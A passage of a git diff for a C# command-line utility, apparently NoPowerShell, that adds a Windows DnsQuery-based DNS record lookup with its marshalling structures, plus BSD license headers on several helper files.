+ /// Domain to query + /// Query type + /// List of records + public static CommandResult GetRecords(string domain, string type) + { + if (Environment.OSVersion.Platform != PlatformID.Win32NT) + { + throw new NotSupportedException(); + } + + // Identify if IP address has been entered + // In that case, perform a reverse lookup + if (IPAddress.TryParse(domain, out IPAddress ip)) + { + type = "PTR"; + + // IPv6 + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + { + // ipv6.google.com = 2a00:1450:400e:80e::200e -> e.0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.e.0.8.0.e.0.0.4.0.5.4.1.0.0.a.2.ip6.arpa + byte[] ipv6_bytes = ip.GetAddressBytes(); + StringBuilder sb = new StringBuilder(72); + for (int i = ipv6_bytes.Length - 1; i >= 0; i--) + { + byte currentByte = ipv6_bytes[i]; + byte lo = (byte)(currentByte & 0x0F); + byte hi = (byte)(currentByte >> 4); + sb.AppendFormat("{0:x}.{1:x}.", lo, hi); + } + sb.Append("ip6.arpa"); + domain = sb.ToString(); + } + // IPv4 + else + domain = string.Format("{0}.in-addr.arpa", ip); + } + + CommandResult results = new CommandResult(); + object foundType = RecordTypes[type]; + if (foundType == null) + { + string[] types = new string[RecordTypes.Count]; + RecordTypes.Keys.CopyTo(types, 0); + throw new NoPowerShellException("Invalid type specified. Specify one of the following: {0}.", string.Join(",", types)); + } + DnsRecordTypes queryType = (DnsRecordTypes)foundType; + + var recordsArray = IntPtr.Zero; + try + { + var result = DnsQuery(ref domain, queryType, DnsQueryOptions.DNS_QUERY_BYPASS_CACHE, IntPtr.Zero, ref recordsArray, IntPtr.Zero); + if (result != 0) + { + throw new Win32Exception(result); + } + + DNS_RECORD record; + for (var recordPtr = recordsArray; !recordPtr.Equals(IntPtr.Zero); recordPtr = record.pNext) + { + record = (DNS_RECORD)Marshal.PtrToStructure(recordPtr, typeof(DNS_RECORD)); + switch (record.wType) + { + case (ushort)DnsRecordTypes.DNS_TYPE_A: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "A" }, + { "IPAddress", ConvertUintToIpAddressString(record.Data.A.IpAddress) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_NS: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "NS" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.NS.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_MD: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "MD" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.MD.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_MF: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "MF" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.MF.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_CNAME: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "CNAME" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.CNAME.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_SOA: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "SOA" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.SOA.pNamePrimaryServer) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_MB: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "MB" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.MB.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_MG: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "MG" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.MG.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_MR: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "MR" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.MR.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_WKS: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "WKS" }, + { "Protocol", ((int)record.Data.WKS.chProtocol).ToString() }, + { "Mask", ((int)record.Data.WKS.BitMask).ToString() }, + { "IPAddress", ConvertUintToIpAddressString(record.Data.WKS.IpAddress) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_PTR: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "PTR" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.PTR.pNameHost) } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_MX: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "MX" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.MX.pNameExchange) }, + { "Preference", record.Data.MX.wPreference.ToString() } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_TEXT: + for (uint i = 0; i < record.Data.TXT.dwStringCount; i++) + { + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "TXT" }, + { "Strings", Marshal.PtrToStringAuto(record.Data.TXT.pStringArray) }, + } + ); + } + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_RT: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "RT" }, + { "NameHost", Marshal.PtrToStringAuto(record.Data.RT.pNameExchange) }, + { "Preference", record.Data.RT.wPreference.ToString() } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_AAAA: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "AAAA" }, + { "IPAddress", ConvertAAAAToIpAddress(record.Data.AAAA).ToString() } + } + ); + break; + + case (ushort)DnsRecordTypes.DNS_TYPE_SRV: + results.Add( + new ResultRecord() + { + { "Name", Marshal.PtrToStringAuto(record.pName) }, + { "Type", "SRV" }, + { "PrimaryServer", Marshal.PtrToStringAuto(record.Data.SRV.pNameTarget) }, + } + ); + break; + + default: + throw new Exception(string.Format("Unknown: %s type %d", record.pName, record.wType)); + } + } + + return results; + } + finally + { + if (recordsArray != IntPtr.Zero) + { + DnsRecordListFree(recordsArray, DNS_FREE_TYPE.DnsFreeFlat); + } + } + } + + /// + /// Provides a DNS query resolution interface + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682016(v=vs.85).aspx + /// + /// A pointer to a string that represents the DNS name to query + /// A value that represents the Resource Record DNS Record Type that is queried + /// A value that contains a bitmap of the DNS Query Options to use in the DNS query + /// Reserved for future use and must be set to NULL + /// A pointer to a pointer that points to the list of RRs that comprise the response + /// Reserved for future use and must be set to NULL + /// Success (0), or the DNS-specific error defined in Winerror.h + [DllImport("dnsapi", EntryPoint = "DnsQuery_W", CharSet = CharSet.Unicode, SetLastError = true, + ExactSpelling = true)] + public static extern int DnsQuery([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrName, DnsRecordTypes wType, + DnsQueryOptions Options, IntPtr pExtra, ref IntPtr ppQueryResultsSet, IntPtr pReserved); + + /// + /// Frees memory allocated for DNS records obtained by using the DnsQuery function + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682021(v=vs.85).aspx + /// + /// A pointer to the DNS_RECORD structure that contains the list of DNS records to be freed + /// A specifier of how the record list should be freed + [DllImport("dnsapi", CharSet = CharSet.Auto, SetLastError = true)] + public static extern void DnsRecordListFree(IntPtr pRecordList, DNS_FREE_TYPE FreeType); + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982162(v=vs.85).aspx + /// + [Flags] + public enum DnsQueryOptions + { + DNS_QUERY_STANDARD = 0x0, + DNS_QUERY_ACCEPT_TRUNCATED_RESPONSE = 0x1, + DNS_QUERY_USE_TCP_ONLY = 0x2, + DNS_QUERY_NO_RECURSION = 0x4, + DNS_QUERY_BYPASS_CACHE = 0x8, + DNS_QUERY_NO_WIRE_QUERY = 0x10, + DNS_QUERY_NO_LOCAL_NAME = 0x20, + DNS_QUERY_NO_HOSTS_FILE = 0x40, + DNS_QUERY_NO_NETBT = 0x80, + DNS_QUERY_WIRE_ONLY = 0x100, + DNS_QUERY_RETURN_MESSAGE = 0x200, + DNS_QUERY_MULTICAST_ONLY = 0x400, + DNS_QUERY_NO_MULTICAST = 0x800, + DNS_QUERY_TREAT_AS_FQDN = 0x1000, + DNS_QUERY_ADDRCONFIG = 0x2000, + DNS_QUERY_DUAL_ADDR = 0x4000, + DNS_QUERY_MULTICAST_WAIT = 0x20000, + DNS_QUERY_MULTICAST_VERIFY = 0x40000, + DNS_QUERY_DONT_RESET_TTL_VALUES = 0x100000, + DNS_QUERY_DISABLE_IDN_ENCODING = 0x200000, + DNS_QUERY_APPEND_MULTILABEL = 0x800000, + DNS_QUERY_RESERVED = unchecked((int)0xF0000000) + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982162(v=vs.85).aspx + /// Also see http://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml + /// + public enum DnsRecordTypes + { + DNS_TYPE_A = 0x1, + DNS_TYPE_NS = 0x2, + DNS_TYPE_MD = 0x3, + DNS_TYPE_MF = 0x4, + DNS_TYPE_CNAME = 0x5, + DNS_TYPE_SOA = 0x6, + DNS_TYPE_MB = 0x7, + DNS_TYPE_MG = 0x8, + DNS_TYPE_MR = 0x9, + DNS_TYPE_NULL = 0xA, + DNS_TYPE_WKS = 0xB, + DNS_TYPE_PTR = 0xC, + DNS_TYPE_HINFO = 0xD, + DNS_TYPE_MINFO = 0xE, + DNS_TYPE_MX = 0xF, + DNS_TYPE_TEXT = 0x10, // This is how it's specified on MSDN + DNS_TYPE_TXT = DNS_TYPE_TEXT, + DNS_TYPE_RP = 0x11, + DNS_TYPE_AFSDB = 0x12, + DNS_TYPE_X25 = 0x13, + DNS_TYPE_ISDN = 0x14, + DNS_TYPE_RT = 0x15, + DNS_TYPE_NSAP = 0x16, + DNS_TYPE_NSAPPTR = 0x17, + DNS_TYPE_SIG = 0x18, + DNS_TYPE_KEY = 0x19, + DNS_TYPE_PX = 0x1A, + DNS_TYPE_GPOS = 0x1B, + DNS_TYPE_AAAA = 0x1C, + DNS_TYPE_LOC = 0x1D, + DNS_TYPE_NXT = 0x1E, + DNS_TYPE_EID = 0x1F, + DNS_TYPE_NIMLOC = 0x20, + DNS_TYPE_SRV = 0x21, + DNS_TYPE_ATMA = 0x22, + DNS_TYPE_NAPTR = 0x23, + DNS_TYPE_KX = 0x24, + DNS_TYPE_CERT = 0x25, + DNS_TYPE_A6 = 0x26, + DNS_TYPE_DNAME = 0x27, + DNS_TYPE_SINK = 0x28, + DNS_TYPE_OPT = 0x29, + DNS_TYPE_DS = 0x2B, + DNS_TYPE_RRSIG = 0x2E, + DNS_TYPE_NSEC = 0x2F, + DNS_TYPE_DNSKEY = 0x30, + DNS_TYPE_DHCID = 0x31, + DNS_TYPE_UINFO = 0x64, + DNS_TYPE_UID = 0x65, + DNS_TYPE_GID = 0x66, + DNS_TYPE_UNSPEC = 0x67, + DNS_TYPE_ADDRS = 0xF8, + DNS_TYPE_TKEY = 0xF9, + DNS_TYPE_TSIG = 0xFA, + DNS_TYPE_IXFR = 0xFB, + DNS_TYPE_AFXR = 0xFC, + DNS_TYPE_MAILB = 0xFD, + DNS_TYPE_MAILA = 0xFE, + DNS_TYPE_ALL = 0xFF, + DNS_TYPE_ANY = 0xFF, + DNS_TYPE_WINS = 0xFF01, + DNS_TYPE_WINSR = 0xFF02, + DNS_TYPE_NBSTAT = DNS_TYPE_WINSR + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682056(v=vs.85).aspx + /// + public enum DNS_FREE_TYPE + { + DnsFreeFlat = 0, + DnsFreeRecordList = 1, + DnsFreeParsedMessageFields = 2 + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682082(v=vs.85).aspx + /// These field offsets could be different depending on endianness and bitness + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_RECORD + { + public IntPtr pNext; // DNS_RECORD* + public IntPtr pName; // string + public ushort wType; + public ushort wDataLength; + public FlagsUnion Flags; + public uint dwTtl; + public uint dwReserved; + public DataUnion Data; + } + + [StructLayout(LayoutKind.Explicit)] + public struct FlagsUnion + { + [FieldOffset(0)] + public uint DW; + [FieldOffset(0)] + public DNS_RECORD_FLAGS S; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682084(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_RECORD_FLAGS + { + internal uint data; + + // DWORD Section :2; + public uint Section + { + get { return data & 0x3u; } + set { data = (data & ~0x3u) | (value & 0x3u); } + } + + // DWORD Delete :1; + public uint Delete + { + get { return (data >> 2) & 0x1u; } + set { data = (data & ~(0x1u << 2)) | (value & 0x1u) << 2; } + } + + // DWORD CharSet :2; + public uint CharSet + { + get { return (data >> 3) & 0x3u; } + set { data = (data & ~(0x3u << 3)) | (value & 0x3u) << 3; } + } + + // DWORD Unused :3; + public uint Unused + { + get { return (data >> 5) & 0x7u; } + set { data = (data & ~(0x7u << 5)) | (value & 0x7u) << 5; } + } + + // DWORD Reserved :24; + public uint Reserved + { + get { return (data >> 8) & 0xFFFFFFu; } + set { data = (data & ~(0xFFFFFFu << 8)) | (value & 0xFFFFFFu) << 8; } + } + } + + [StructLayout(LayoutKind.Explicit)] + public struct DataUnion + { + [FieldOffset(0)] + public DNS_A_DATA A; + [FieldOffset(0)] + public DNS_SOA_DATA SOA, Soa; + [FieldOffset(0)] + public DNS_PTR_DATA PTR, Ptr, NS, Ns, CNAME, Cname, DNAME, Dname, MB, Mb, MD, Md, MF, Mf, MG, Mg, MR, Mr; + [FieldOffset(0)] + public DNS_MINFO_DATA MINFO, Minfo, RP, Rp; + [FieldOffset(0)] + public DNS_MX_DATA MX, Mx, AFSDB, Afsdb, RT, Rt; + [FieldOffset(0)] + public DNS_TXT_DATA HINFO, Hinfo, ISDN, Isdn, TXT, Txt, X25; + [FieldOffset(0)] + public DNS_NULL_DATA Null; + [FieldOffset(0)] + public DNS_WKS_DATA WKS, Wks; + [FieldOffset(0)] + public DNS_AAAA_DATA AAAA; + [FieldOffset(0)] + public DNS_KEY_DATA KEY, Key; + [FieldOffset(0)] + public DNS_SIG_DATA SIG, Sig; + [FieldOffset(0)] + public DNS_ATMA_DATA ATMA, Atma; + [FieldOffset(0)] + public DNS_NXT_DATA NXT, Nxt; + [FieldOffset(0)] + public DNS_SRV_DATA SRV, Srv; + [FieldOffset(0)] + public DNS_NAPTR_DATA NAPTR, Naptr; + [FieldOffset(0)] + public DNS_OPT_DATA OPT, Opt; + [FieldOffset(0)] + public DNS_DS_DATA DS, Ds; + [FieldOffset(0)] + public DNS_RRSIG_DATA RRSIG, Rrsig; + [FieldOffset(0)] + public DNS_NSEC_DATA NSEC, Nsec; + [FieldOffset(0)] + public DNS_DNSKEY_DATA DNSKEY, Dnskey; + [FieldOffset(0)] + public DNS_TKEY_DATA TKEY, Tkey; + [FieldOffset(0)] + public DNS_TSIG_DATA TSIG, Tsig; + [FieldOffset(0)] + public DNS_WINS_DATA WINS, Wins; + [FieldOffset(0)] + public DNS_WINSR_DATA WINSR, WinsR, NBSTAT, Nbstat; + [FieldOffset(0)] + public DNS_DHCID_DATA DHCID; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682044(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_A_DATA + { + public uint IpAddress; // IP4_ADDRESS IpAddress; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682096(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_SOA_DATA + { + public IntPtr pNamePrimaryServer; // string + public IntPtr pNameAdministrator; // string + public uint dwSerialNo; + public uint dwRefresh; + public uint dwRetry; + public uint dwExpire; + public uint dwDefaultTtl; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682080(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_PTR_DATA + { + public IntPtr pNameHost; // string + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682067(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_MINFO_DATA + { + public IntPtr pNameMailbox; // string + public IntPtr pNameErrorsMailbox; // string + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682070(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_MX_DATA + { + public IntPtr pNameExchange; // string + public ushort wPreference; + public ushort Pad; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682109(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_TXT_DATA + { + public uint dwStringCount; + public IntPtr pStringArray; // PWSTR pStringArray[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682074(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_NULL_DATA + { + public uint dwByteCount; + public IntPtr Data; // BYTE Data[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682120(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_WKS_DATA + { + public uint IpAddress; // IP4_ADDRESS IpAddress; + public byte chProtocol; // UCHAR chProtocol; + public IntPtr BitMask; // BYTE BitMask[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682035(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_AAAA_DATA + { + // IP6_ADDRESS Ip6Address; + // DWORD IP6Dword[4]; + // This isn't ideal, but it should work without using the fixed and unsafe keywords + public uint Ip6Address0; + public uint Ip6Address1; + public uint Ip6Address2; + public uint Ip6Address3; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682061(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_KEY_DATA + { + public ushort wFlags; + public byte chProtocol; + public byte chAlgorithm; + public IntPtr Key; // BYTE Key[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682094(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_SIG_DATA + { + public IntPtr pNameSigner; // string + public ushort wTypeCovered; + public byte chAlgorithm; + public byte chLabelCount; + public uint dwOriginalTtl; + public uint dwExpiration; + public uint dwTimeSigned; + public ushort wKeyTag; + public ushort Pad; + public IntPtr Signature; // BYTE Signature[1]; + } + + public const int DNS_ATMA_MAX_ADDR_LENGTH = 20; + public const int DNS_ATMA_FORMAT_E164 = 1; + public const int DNS_ATMA_FORMAT_AESA = 2; + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682041(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_ATMA_DATA + { + public byte AddressType; + // BYTE Address[DNS_ATMA_MAX_ADDR_LENGTH]; + // This isn't ideal, but it should work without using the fixed and unsafe keywords + public byte Address0; + public byte Address1; + public byte Address2; + public byte Address3; + public byte Address4; + public byte Address5; + public byte Address6; + public byte Address7; + public byte Address8; + public byte Address9; + public byte Address10; + public byte Address11; + public byte Address12; + public byte Address13; + public byte Address14; + public byte Address15; + public byte Address16; + public byte Address17; + public byte Address18; + public byte Address19; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682076(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_NXT_DATA + { + public IntPtr pNameNext; // string + public ushort wNumTypes; + public IntPtr wTypes; // WORD wTypes[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682097(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_SRV_DATA + { + public IntPtr pNameTarget; // string + public ushort uPriority; + public ushort wWeight; + public ushort wPort; + public ushort Pad; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982164(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_NAPTR_DATA + { + public ushort wOrder; + public ushort wPreference; + public IntPtr pFlags; // string + public IntPtr pService; // string + public IntPtr pRegularExpression; // string + public IntPtr pReplacement; // string + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392298(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_OPT_DATA + { + public ushort wDataLength; + public ushort wPad; + public IntPtr Data; // BYTE Data[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392296(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_DS_DATA + { + public ushort wKeyTag; + public byte chAlgorithm; + public byte chDigestType; + public ushort wDigestLength; + public ushort wPad; + public IntPtr Digest; // BYTE Digest[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392301(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_RRSIG_DATA + { + public IntPtr pNameSigner; // string + public ushort wTypeCovered; + public byte chAlgorithm; + public byte chLabelCount; + public uint dwOriginalTtl; + public uint dwExpiration; + public uint dwTimeSigned; + public ushort wKeyTag; + public ushort Pad; + public IntPtr Signature; // BYTE Signature[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392297(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_NSEC_DATA + { + public IntPtr pNextDomainName; // string + public ushort wTypeBitMapsLength; + public ushort wPad; + public IntPtr TypeBitMaps; // BYTE TypeBitMaps[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392295(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_DNSKEY_DATA + { + public ushort wFlags; + public byte chProtocol; + public byte chAlgorithm; + public ushort wKeyLength; + public ushort wPad; + public IntPtr Key; // BYTE Key[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682104(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_TKEY_DATA + { + public IntPtr pNameAlgorithm; // string + public IntPtr pAlgorithmPacket; // PBYTE (which is BYTE*) + public IntPtr pKey; // PBYTE (which is BYTE*) + public IntPtr pOtherData; // PBYTE (which is BYTE*) + public uint dwCreateTime; + public uint dwExpireTime; + public ushort wMode; + public ushort wError; + public ushort wKeyLength; + public ushort wOtherLength; + public byte cAlgNameLength; // UCHAR cAlgNameLength; + public int bPacketPointers; // BOOL bPacketPointers; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682106(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_TSIG_DATA + { + public IntPtr pNameAlgorithm; // string + public IntPtr pAlgorithmPacket; // PBYTE (which is BYTE*) + public IntPtr pSignature; // PBYTE (which is BYTE*) + public IntPtr pOtherData; // PBYTE (which is BYTE*) + public long i64CreateTime; + public ushort wFudgeTime; + public ushort wOriginalXid; + public ushort wError; + public ushort wSigLength; + public ushort wOtherLength; + public byte cAlgNameLength; // UCHAR cAlgNameLength; + public int bPacketPointers; // BOOL bPacketPointers; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682114(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_WINS_DATA + { + public uint dwMappingFlag; + public uint dwLookupTimeout; + public uint dwCacheTimeout; + public uint cWinsServerCount; + public uint WinsServers; // IP4_ADDRESS WinsServers[1]; + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682113(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_WINSR_DATA + { + public uint dwMappingFlag; + public uint dwLookupTimeout; + public uint dwCacheTimeout; + public IntPtr pNameResultDomain; // string + } + + /// + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392294(v=vs.85).aspx + /// + [StructLayout(LayoutKind.Sequential)] + public struct DNS_DHCID_DATA + { + public uint dwByteCount; + public IntPtr DHCID; // BYTE DHCID[1]; + } + + /// + /// Converts an unsigned int to an ip address object + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982163(v=vs.85).aspx + /// + /// The unsigned int to convert to an ip address object + /// The converted ip address + public static IPAddress ConvertUintToIpAddress(uint ipAddress) + { + // x86 is in little endian + // Network byte order (what the IPAddress object requires) is big endian + // Ex - 0x7F000001 is 127.0.0.1 + var addressBytes = new byte[4]; + addressBytes[3] = (byte)((ipAddress & 0xFF000000u) >> 24); + addressBytes[2] = (byte)((ipAddress & 0x00FF0000u) >> 16); + addressBytes[1] = (byte)((ipAddress & 0x0000FF00u) >> 8); + addressBytes[0] = (byte)(ipAddress & 0x000000FFu); + return new IPAddress(addressBytes); + } + + public static string ConvertUintToIpAddressString(uint ipAddress) + { + return ConvertUintToIpAddress(ipAddress).ToString(); + } + + /// + /// Converts the data from the AAAA record into an ip address object + /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682140(v=vs.85).aspx + /// + /// The AAAA record to convert + /// The converted ip address + public static IPAddress ConvertAAAAToIpAddress(DNS_AAAA_DATA data) + { + var addressBytes = new byte[16]; + addressBytes[0] = (byte)(data.Ip6Address0 & 0x000000FF); + addressBytes[1] = (byte)((data.Ip6Address0 & 0x0000FF00) >> 8); + addressBytes[2] = (byte)((data.Ip6Address0 & 0x00FF0000) >> 16); + addressBytes[3] = (byte)((data.Ip6Address0 & 0xFF000000) >> 24); + addressBytes[4] = (byte)(data.Ip6Address1 & 0x000000FF); + addressBytes[5] = (byte)((data.Ip6Address1 & 0x0000FF00) >> 8); + addressBytes[6] = (byte)((data.Ip6Address1 & 0x00FF0000) >> 16); + addressBytes[7] = (byte)((data.Ip6Address1 & 0xFF000000) >> 24); + addressBytes[8] = (byte)(data.Ip6Address2 & 0x000000FF); + addressBytes[9] = (byte)((data.Ip6Address2 & 0x0000FF00) >> 8); + addressBytes[10] = (byte)((data.Ip6Address2 & 0x00FF0000) >> 16); + addressBytes[11] = (byte)((data.Ip6Address2 & 0xFF000000) >> 24); + addressBytes[12] = (byte)(data.Ip6Address3 & 0x000000FF); + addressBytes[13] = (byte)((data.Ip6Address3 & 0x0000FF00) >> 8); + addressBytes[14] = (byte)((data.Ip6Address3 & 0x00FF0000) >> 16); + addressBytes[15] = (byte)((data.Ip6Address3 & 0xFF000000) >> 24); + + return new IPAddress(addressBytes); + } + } +} diff --git a/Source/NoPowerShell/HelperClasses/Exceptions.cs b/Source/NoPowerShell/HelperClasses/Exceptions.cs index c5d3097..54b02de 100644 --- a/Source/NoPowerShell/HelperClasses/Exceptions.cs +++ b/Source/NoPowerShell/HelperClasses/Exceptions.cs @@ -2,6 +2,12 @@ using System.Collections.Generic; using System.Text; +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + namespace NoPowerShell.HelperClasses { class NoPowerShellException : Exception diff --git a/Source/NoPowerShell/HelperClasses/HelpEntries.cs b/Source/NoPowerShell/HelperClasses/HelpEntries.cs index 6cdacbd..040d5d4 100644 --- a/Source/NoPowerShell/HelperClasses/HelpEntries.cs +++ b/Source/NoPowerShell/HelperClasses/HelpEntries.cs @@ -2,6 +2,12 @@ using System.Collections.Generic; using System.Text; +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + namespace NoPowerShell.HelperClasses { public class ExampleEntries : List diff --git a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs index 17eb3e4..393a165 100644 --- a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs +++ b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs @@ -6,6 +6,12 @@ using System.Security.Principal; using System.Text; +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + namespace NoPowerShell.HelperClasses { class LDAPHelper diff --git a/Source/NoPowerShell/HelperClasses/PipelineHelper.cs b/Source/NoPowerShell/HelperClasses/PipelineHelper.cs index 57de0d2..7d4f892 100644 --- a/Source/NoPowerShell/HelperClasses/PipelineHelper.cs +++ b/Source/NoPowerShell/HelperClasses/PipelineHelper.cs @@ -2,6 +2,12 @@ using System.Collections.Generic; using System.Text; +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + namespace NoPowerShell.HelperClasses { class PipelineHelper diff --git a/Source/NoPowerShell/HelperClasses/ProviderHelper.cs b/Source/NoPowerShell/HelperClasses/ProviderHelper.cs index 54741d8..cde2bc7 100644 --- a/Source/NoPowerShell/HelperClasses/ProviderHelper.cs +++ b/Source/NoPowerShell/HelperClasses/ProviderHelper.cs @@ -1,6 +1,12 @@ using System; using Microsoft.Win32; +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + namespace NoPowerShell.HelperClasses { class ProviderHelper diff --git a/Source/NoPowerShell/HelperClasses/RegistryHelper.cs b/Source/NoPowerShell/HelperClasses/RegistryHelper.cs index 7a57b0f..0d371b1 100644 --- 